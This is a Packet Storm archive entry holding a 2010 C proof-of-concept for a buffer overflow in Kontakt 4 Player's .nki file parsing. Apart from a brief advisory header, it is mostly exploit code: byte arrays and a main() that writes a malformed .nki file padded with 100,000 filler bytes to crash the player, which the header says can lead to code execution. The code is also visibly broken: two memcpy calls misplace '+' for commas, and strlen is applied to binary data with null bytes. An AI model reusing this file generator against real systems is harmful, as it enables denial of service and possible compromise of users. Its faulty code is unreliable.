Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow

2010-11-20T00:00:00
ID PACKETSTORM:96016
Type packetstorm
Reporter LiquidWorm
Modified 2010-11-20T00:00:00

Description

                                        
                                            `/*  
  
  
Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC  
  
  
Vendor: Native Instruments GmbH  
Product web page: http://www.native-instruments.com  
Affected version: 4.1.3.4125 (Standalone)  
  
Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT  
technology. Expanding the capabilities of its successful predecessor, the free  
KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological  
and musical limitations behind.  
  
Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"  
files. The application fails in boundry checking of the user input resulting in a crash.  
The attacker can leverage from this scenario to exectute arbitrary code on the affected  
system. Failed attempts will result in denial of service.  
  
Tested on: Microsoft Windows XP Professional SP3 (English)  
  
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
Zero Science Lab - http://www.zeroscience.mk  
  
Advisory ID: ZSL-2010-4979  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php  
  
17.11.2010  
  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <stdint.h>  
  
#define FN "Vaya_con_Dios.nki"  
#define PSIZE 102556  
void banner(void);  
  
FILE *fp;  
  
void banner()  
{  
printf("\n");  
printf("------------------------------------------------------------\n\n");  
printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");  
printf("\tCopyleft (c) 2010. Zero Science Lab\n\n");  
printf("------------------------------------------------------------\n");  
printf("\n");  
}  
  
char starter[] = {  
0x12, 0x90, 0xA8, 0x7F, 0x6C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x72, 0x2A, 0x01, 0x3E, 0x01, 0x00,   
0xFF, 0x03, 0x01, 0x04, 0x34, 0x6E, 0x6F, 0x4B, 0xF2, 0x71, 0xE3, 0x4C, 0x3A, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x09,   
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B,   
0x74, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6E, 0x75, 0x6C, 0x6C, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00, 0x34, 0x8D, 0x9A, 0x02, 0x1D, 0x10, 0x00, 0x00, 0x78, 0x01, 0xCD, 0x5A, 0x5B, 0x6F,   
0x1B, 0xB7, 0x12, 0x7E, 0xEF, 0xAF, 0x08, 0xFC, 0x50, 0x9C, 0x3E, 0xD4, 0x5E, 0x49, 0xB6, 0x6C,   
0xE3, 0xB4, 0x29, 0x62, 0x59, 0x6A, 0x84, 0xC8, 0xB1, 0x6A, 0x39, 0x42, 0x70, 0x5E, 0x04, 0x7A,   
0x97, 0x92, 0x08, 0x53, 0xCB, 0xC5, 0x92, 0x6B, 0x4B, 0xFD, 0xF5, 0x9D,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E, 0x03, 0x5A, 0x9D };  
  
char body[] = {  
0x56, 0x74, 0xDA, 0x76, 0x50, 0x0F, 0x82, 0x17, 0x2B, 0xB3, 0x1A, ////////////////////////////  
0xA8, 0xC2, 0x19, 0xCE, 0x88, 0x91, 0x2A, 0x3A, 0x74, 0x86, 0x44, 0xCE, 0x16, 0x13, 0xF2, 0x40,   
0xAF, 0x44, 0x62, 0xCD, 0xDF, 0x82, 0x7C, 0xB8, 0x93, 0xB0, 0x84, 0xA2, 0x63, 0xA2, 0x96, 0x52,   
0x73, 0xE2, 0xA9, 0x10, 0x69, 0xF5, 0xC4, 0x2A, 0xCB, 0xA9, 0x94, 0x34, 0x99, 0x90, 0x55, 0xC6,   
0x69, 0x10, 0xBC, 0x24, 0xF2, 0x82, 0xD2, 0x14, 0xD7, 0x36, 0x7B, 0xB2, 0x01, 0x3C, 0x6E, 0xCA,   
0x91, 0xB3, 0x89, 0x1F, 0x0A, 0x25, 0x56, 0x44, 0x81, 0xC9, 0xE0, 0xD8, 0x58, 0xF0, 0x4D, 0xB6,   
0x14, 0xE9, 0x06, 0x37, 0x4F, 0xB0, 0x98, 0xFE, 0x99, 0x8B, 0x22, 0x6B, 0xCC, 0x26, 0x02, 0xE6,   
0x1A, 0xF3, 0x8A, 0x0E, 0xBB, 0xA5, 0x45, 0x34, 0x46, 0xB0, 0xB2, 0x65, 0xBC, 0x67, 0x9C, 0xCF,   
0x04, 0x4F, 0xA8, 0x54, 0x8E, 0xB4, 0xC0, 0xFD, 0x9C, 0xE6, 0x37, 0x94, 0x53, 0x02, 0x42, 0x68,   
0x51, 0x1B, 0xCE, 0x34, 0x2D, 0xB2, 0x86, 0x4D, 0x2B, 0xD7, 0x37, 0x22, 0x76, 0x8F, 0x1D, 0x52,   
0x2B, 0x39, 0x20, 0x09, 0xBD, 0x65, 0xD6, 0xCE, 0xB4, 0xDC, 0xDD, 0xA5, 0xEB, 0x98, 0x17, 0xE8,   
0x0B, 0xA5, 0x0C, 0x7A, 0xB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xCC, 0xD0, 0x2F, 0x66, 0xB2, 0x90,   
0x18, 0x80, 0x67, 0x19, 0x18, 0xE4, 0x2C, 0x86, 0x68, 0x9C, 0x0B, 0xCE, 0x69, 0xEE, 0xD0, 0x2F,   
0x24, 0x9D, 0xA8, 0xA4, 0xD7, 0x9B, 0x9D, 0xCE, 0xC0, 0x90, 0x9B, 0x80, 0xE5, 0xBB, 0x86, 0x46,   
0xB5, 0xDA, 0xD1, 0xAC, 0xD5, 0xEE, 0x04, 0x81, 0x71, 0x7C, 0x7A, 0x45, 0xD6, 0x53, 0x2F, 0x76,   
0x39, 0x2B, 0x12, 0x70, 0xFD, 0x11, 0x08, 0xEE, 0x30, 0xED, 0x2F, 0x48, 0x62, 0xC5, 0x1E, 0xAA,   
0x30, 0x30, 0x4C, 0xD6, 0x7A, 0x39, 0x57, 0x7D, 0x32, 0xCE, 0x59, 0xA6, 0x60, 0xBC, 0x9F, 0x30,   
0x65, 0x39, 0xB6, 0x8B, 0x62, 0xF3, 0xF5, 0x05, 0x05, 0x2D, 0x7B, 0x20, 0x4F, 0x8D, 0x2C, 0x59,   
0x0F, 0x07, 0x5F, 0x9F, 0x02, 0xBA, 0xD4, 0xE4, 0x5E, 0xD4, 0x56, 0x24, 0xC3, 0xE5, 0x46, 0x4C,   
0x2A, 0x47, 0x4C, 0x6F, 0xD1, 0x06, 0x26, 0xE2, 0x7B, 0x8B, 0x7D, 0x0F, 0x04, 0x9C, 0x4D, 0xF6,   
0xE1, 0x0C, 0x0C, 0x05, 0x4F, 0x48, 0x3C, 0xEF, 0x26, 0xA2, 0xC8, 0x63, 0x63, 0x98, 0x1E, 0x41,   
0x0B, 0xF8, 0x61, 0x95, 0x69, 0xDD, 0x7A, 0xA8, 0x22, 0xBB, 0x14, 0x8F, 0xE9, 0x15, 0x5B, 0x23,   
0x41, 0x37, 0x96, 0x79, 0x48, 0x0A, 0x92, 0x8A, 0x1C, 0x61, 0x57, 0x24, 0x48, 0xCE, 0x80, 0xAA,   
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xE7, 0xC6, 0x98, 0xEC, 0x46,   
0xEC, 0x37, 0x18, 0x53, 0x56, 0xFE, 0x50, 0xC0, 0x55, 0x93, 0x1F, 0xBB, 0xA3, 0xC3, 0x56, 0x17,   
0xFF, 0xC0, 0xB9, 0x8F, 0x4F, 0xCE, 0xDB, 0xF8, 0xE8, 0x2A, 0xFF, 0xBB, 0x07, 0xF3, 0x76, 0x7D,   
0xA8, 0x37, 0x01, 0xC7, 0x51, 0x93, 0xB3, 0xF6, 0xEB, 0xC2, 0xF7, 0x0B, 0xCD, 0xA9, 0x54, 0xD2,   
0x05, 0xF4, 0xCA, 0x9D, 0xA5, 0x19, 0xFC, 0xDA, 0xEA, 0xFF, 0x6F, 0x4F, 0xAE, 0x5F, 0x3B, 0x8A,   
0x1A, 0x5F, 0xCC, 0xC6, 0xC3, 0xDB, 0xDE, 0xC7, 0x92, 0x6B, 0xC7, 0x9A, 0x8E, 0xFC, 0x58, 0x85,   
0xA3, 0x65, 0x06, 0x81, 0x81, 0xAD, 0x7C, 0xC0, 0xD3, 0x0E, 0x6F, 0x6D, 0xF1, 0xDF, 0x23, 0xFD,   
0x00, 0xB0, 0xFA, 0xEA, 0x00, 0x3F, 0xD7, 0x8F, 0x25, 0x04, 0x46, 0xF4, 0x2F, 0xE5, 0xDE, 0xFF,   
0xF4, 0x0F, 0x39, 0xE0, 0x69, 0x7F, 0xAE, 0xE1, 0x0E, 0xB0, 0x01, 0x01, 0x0C, 0x00, 0xD9, 0x00,   
0x00, 0x00 };  
  
char tail[] = {  
0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, //////////  
0x22, 0x31, 0x2E, 0x30, 0x22, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x22,   
0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E,   
0x65, 0x3D, 0x22, 0x6E, 0x6F, 0x22, 0x20, 0x3F, 0x3E, 0x0A, 0x3C, 0x73, 0x6F, 0x75, 0x6E, 0x64,   
0x69, 0x6E, 0x66, 0x6F, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x22, 0x34, 0x30,   
0x30, 0x22, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69,   
0x65, 0x73, 0x2F, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,   
0x74, 0x65, 0x73, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62,   
0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75,   
0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D,   
0x65, 0x6E, 0x74, 0x3C, 0x2F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20,   
0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C,   
0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F,   
0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A };  
  
int main(int argc, char *argv[])  
{  
  
banner();  
  
char payload[PSIZE];  
char input[100000];  
  
memset(input,0x4A,100000);  
  
memcpy(payload,starter,strlen(starter));  
memcpy(payload+strlen(starter),input,strlen(input));  
memcpy(payload+strlen(starter)+strlen(input)+body,strlen(body));  
memcpy(payload+strlen(starter)+strlen(input)+strlen(body)+tail,strlen(tail));  
  
fp = fopen(FN,"wb");  
  
if(fp==NULL)  
{  
perror ("Oops! Can't open file.\n");  
}  
  
fwrite(payload,1,sizeof(payload),fp);  
  
fclose(fp);  
  
sleep(1);  
  
printf("\nDone!\n");  
printf("File %s created!\n", FN);  
  
return 0;  
}  
`